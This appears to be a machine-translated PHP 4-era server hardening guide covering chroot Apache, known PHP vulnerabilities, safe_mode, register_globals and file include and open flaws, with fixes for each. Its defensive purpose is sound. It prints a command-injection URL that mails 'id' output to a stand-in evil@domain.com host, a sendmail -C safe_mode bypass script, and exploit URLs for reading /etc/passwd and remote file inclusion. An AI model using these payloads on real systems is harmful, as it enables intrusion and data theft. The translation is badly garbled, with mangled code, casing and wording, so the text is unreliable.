First, web server
Safety
PHP is actually a module function of the web server, so we must first ensure the security of the web server. Of course, the Web server must be safe and must be guaranteed to ensure system security, so it is far away, endless. PHP can be combined with a variety of web servers, and Apache is also discussed here. It is very recommended to install Apache in Chroot, so even if apache and php are
Vulnerabilities, affected, only this imprisoned system, will not harm the actual system. But after using Chroot Apache, it will also bring certain troubles to applications. For example, when connecting MySQL, you must use TCP connections with a 127.0.0.1 address without using localhost to implement Socket connections, which will be slightly worse in efficiency. There is also a Mail function to send an email because php.ini:
[Mail Function]
For Win32 ONLY.
SMTP = Localhost
For Win32 ONLY.
Sendmail_from = me@localhost.com
They are all for Win32 platforms, so they need to adjust Sendmail in the Chroot environment.
Second, PHP itself problem
1, remote overflow
All versions below PHP-4.1.2 exist file upload remote buffer overflow vulnerabilities, and the attack program has been widely circulated, and the success rate is very high.
2. Remote refusal service
PHP-4.2.0 and PHP-4.2.1 The presence of PHP MULTIPART / FORM-DATA POST requests to process remote vulnerabilities, although local user privileges cannot be obtained, but can also be rejected.
3, SAFE_MODE bypassing the vulnerability
There are also PHP-4.2.2 below the PHP-4.0.5 version, there is a PHP MAIL function to bypass the SAFE_MODE limit execution command vulnerability, and the version 4.0.5 starts the Mail function adds the fifth parameters. Since the designer can break through the designer SAFE_MODE limits execution command. Among them, 4.0.5 is very simple, just use the semicolonaway to add the shell command, such as the PHP scripting eviL.php:
Perform the following URL:
http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com
This sends the result of the ID to Evil@domain.com.
For the PHP breakthrough SAFE_MODE limit for 4.0.6 to 4.2.2, it is actually using the -c parameter of Sendmail, so the system must be used using Sendmail. The following code can break through the SAFE_MODE limit execution command:
# Note that the following two must be existed,
Or the same owner, the owner of this script is the same
$ Script = "/ TMP / Script123";
$ cf = "/ tmp / cf123";
$ fd = fopen ($ CF, "W");
FWRITE ($ FD, "OQ / TMP
Sparse = 0
R $ * ". Chr (9)." $ # Local $ @ $ 1 $: $ 1
Mlocal, P = / Bin / SH, A = SH $ Script ");
Fclose ($ fd);
$ fd = fopen ($ Script, "W");
FWRITE ($ FD, "RM -F $ Script $ CF;");
FWRITE ($ FD, $ CMD);
Fclose ($ fd);
Mail ("Nobody", ",", "" "," -c $ cf ");
?>
Or use the above problem version of the PHP user must upgrade to the latest version in time, so that basic security issues can be eliminated. Third, the security configuration of PHP itself
PHP configuration is very flexible, can be set via php.ini, httpd.conf, .htaccess file (this directory must be set), you can also use INI_SET () and other specific functions in the scripter. Set. Each value of the configuration option can be obtained by phpinfo () and get_cfg_var () functions.
If the configuration option is the only php_ini_system property, you must modify via php.ini and httpd.conf, which modifies the master value of the PHP, but you must restart Apache after the modification can take effect. The option for php.ini settings is to take effect for all scripts of the web server, and the options set in httpd.conf are taken effect on all scripts in the definition directory.
If there are other PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL attribute options can be used to use .htaccess file settings, or by setting the INI_SET () function in the script, they modify the LOCAL value, change it immediately. But .htaccess only takes effect on the script program of the current directory, the INI_SET () function is only effective after setting the code ini_set () function for the scripter. The option properties of each version may not be the same, you can use the following command to find all the main source code to get all the options, and its properties:
# GREP PHP_INI_ /PHP_SRC /MAIN/MAIN.C
Before discussing the PHP security configuration, you should understand the SAFE_MODE mode of PHP.
1, SAFE_MODE
SAFE_MODE is a unique php_ini_system property that must be set via php.ini or httpd.conf. To enable Safe_Mode, just modify php.ini:
SAFE_MODE = ON
Or modify httpd.conf, define a directory:
Options Followsymlinks
PHP_ADMIN_VALUE SAFE_MODE 1
After restarting Apache, Safe_Mode takes effect. Start SAFE_MODE, limit many PHP functions, especially those related to system-related files, command execution and other functions.
The function of all operation files will only operate the same files as the script UID, such as the contents of Test.php scripts:
The properties of several files are as follows:
# ls -la
Total 13
DRWXR-XR-X 2 root root 104 JUL 20 01:25.
DRWXR-XR-X 16 root root 384 JUL 18 12:02 ..
-rw-r - r - 1 root root 4110 OCT 26 2002 INDEX.HTML
-rw-r - r - 1 WWW-data www-data 41 jul 19 19:14 Test.php
in
The browser request TEST.PHP will prompt the following error message:
WARNING: SAFE MODE RESTRICTION IN Effect. The script whose uid / gid IS 33/33 is not allowed to access ./index.html owned by uid / gid 0/4/var/www/test.php on line 1
If the UID and script UID of the directory where the file is located, the UID of the file can be accessed even if the script is different, I don't know if this is a vulnerability of PHP or another hidden love. Therefore, the user of the PHP script is best for this purpose, absolutely prohibiting using root as the primary owner of the PHP script, so that the SAFE_MODE is not achieved. If you want to relax it to the GID comparison, open SAFE_MODE_GID to consider only the GID of the compare file, you can set the following options:
SAFE_MODE_GID = ON
After setting SAFE_MODE, all the functions performed by all commands will be restricted to execute the programs in the PHP.ini SAFE_MODE_EXEC_DIR specified in the directory, and shell_exec, `ls -l` This way of execution commands will be disabled. If you really need to call other programs, you can do the following settings at PHP.INI:
SAFE_MODE_EXEC_DIR = / usr / local / PHP / EXEC
Then copy the program to this directory, then the PHP script can perform the program with a function such as System. And the shell script in this directory can also call the system command in other directories.
SAFE_MODE_INCLUDE_DIR STRING
When the directory and its subdirectory (directory must be included in include_path or with full path), the UID / GID check is over.
Starting with PHP 4.2.0, this directive can accept the style with the number of semicolons that are separated by a semicolon, not just a directory, and the INCLUDE_PATH directive.
The specified limit is actually a prefix, not a directory name. This is to say "SAFE_MODE_INCLUDE_DIR = / DIR / INCL" will allow access to "/ DIR / include" and "/ Dir / INCLS" if they exist. If you want to control the access to a specified directory, then add a slash at the end, for example: "SAFE_MODE_INCLUDE_DIR = / DIR / INCL /".
SAFE_MODE_ALLOWED_ENV_VARS STRING
Setting some environment variables may be a potential security gap. This instruction contains a comma-separated prefix list. In safe mode, users can only change the environment variables that have the prefix provided here. By default, users can only set environment variables beginning with PHP_ (eg pHP_foo = BAR).
Note: If the instruction is empty, the PHP will enable the user to modify any environment variables!
SAFE_MODE_PROTECTED_ENV_VARS STRING
This instruction contains a list of comma-separated environment variables, and end users cannot use putenv () to change these environment variables. These variables cannot be changed even when setting up to SAFE_MODE_ALLOWED_ENV_VARS.
Although SAFE_MODE is not universal (low version of PHP can be bypassed), but it is also strongly recommended to open security mode to a certain extent, some unknown attacks can be avoided. However, it will have a lot of limitations that enable SAFE_MODE, which may have an impact on the application, so adjust the code and configuration to harmonize. Functions that are restricted or masked by safety mode can refer to the PHP manual.
After discussion SAFE_MODE, the following combined with the actual problem that the program code actually appears how to avoid the vulnerability of the PHP server side.
2, variable abuse
PHP default register_globals = ON, for GET, POST, COOK
IE, ENVIRONMENT, and session variables can be registered directly into global variables. Their registration order is Variables_Order = "EGPCS" (can be modified via php.ini), the same name variable variables_order, so the abuse of the variable is very easy to cause the program. Moreover, scripting programs often do not have habits initialized to variables, like the following program sessions are extremely vulnerable: //test_1.php
IF ($ Pass == "Hello")
$ auth = 1;
IF ($ auth == 1)
Echo "Some Important Information";
Else
Echo "Nothing";
?>
Attackers only need to bypass the following request:
http://victim/test_1.php? auth = 1
Although this is a very mentally wrong mistake, some famous procedures have also made this mistake, such as the remote file copy vulnerability of phpnuke: http://www.securityfocus.com/bid/3361
When PHP-4.1.0 is released, it is recommended to close Register_Globals and provide 7 special array variables to use various variables. For from GET, POST, COOK
The variables from IE, do not directly register into variables, and must be accessed by array variables. When PHP-4.2.0 is released, the PHP.INI default configuration is register_globals = OFF. This makes the program use the default value initialized by PHP itself, typically 0, avoiding an attacker control judgment variable.
Solution:
Profile php.ini Sets register_globals = OFF.
The programmer is required to initialize a value at the beginning of the determination.
3, file open
Extremely vulnerable code snippet:
//test_2.php
IF ($ str = readfile ("$ filename"))) {
Echo ("COULD NOT OPEN FILE: $ filename
/ N ");
EXIT;
}
Else {
Echo $ STR;
}
?>
Since the attacker can specify any $ filename, the attacker can see the / etc / passwd with the following request:
http://victim/test_2.php? filename = / etc / passwd
The following request can read the PHP file itself:
http://victim/test_2.php? filename = test_2.php
File open functions in PHP also have fopen (), file (), etc. If the file name variable check is not strict, the server is important files to be accessed.
Solution:
Such as non-special needs, limit PHP file operations in the web directory. The following is an example of modifying the apache configuration file httpd.conf:
PHP_ADMIN_VALUE OPEN_BASEDIR / USR / LOCAL / APACHE / HTDOCS
After restarting Apache, the PHP script under the / usr / local / apache / htdocs directory can only operate the files under its own directory, otherwise PHP will report error:
WARNING: OPEN_BASEDIR RESTRICTION IN Effect.
File IS in Wrong Directory in xxx on line xx.
Use Safe_Mode mode to avoid this problem, and it has been discussed earlier.
4, contain files
Extremely vulnerable code snippet:
//test_3.php
IF (file_exists ($ filename)) Include ("$ filename");
?>
This irresponsible code will cause considerable hazards, and attackers can get / etc / passwd files with the following requests:
http://victim/test_3.php? filename = / etc / passwd
If the UNIX version of PHP (WIN version of PHP does not support remote open file) attacker can create a file containing the shell command on the machine you have opened HTTP or FTP service, such as http: //attack/attack.txt The content is, then the following request can be executed in the target host LS / ETC:
http://victim/test_3.php? filename = http: //attack/attack.txt
Attackers can even get the code to execute the command by including the Apache's log file access.log and error.log, but because there are too many interference information, sometimes it is easy to succeed.
For another form, the following code segment:
//test_4.php
Include ("$ lib / config.php");
?>
Attackers can establish a config.php file that contains the execution command code, and then execute the command at the target host with the following request:
http://victim/test_4.php? lib = http: // attic
The PHP contains the function with include (), include_once (), request (), require_once. If you don't have a serious risk of the system for the included file name variable, you can remotely execute the command.
Solution:
The programmer is required to include the parameters in the file to try not to use the variable. If you use a variable, you must strictly check the file name to be included, absolutely cannot be arbitrarily specified by the user.
The PHP operation path is restricted in the previous file open is a necessary option. Alternatively, if you do not have special needs, you must turn off the remote file opening function of the PHP. Modify the php.ini file:
Allow_url_fopen = off
Restart Apache.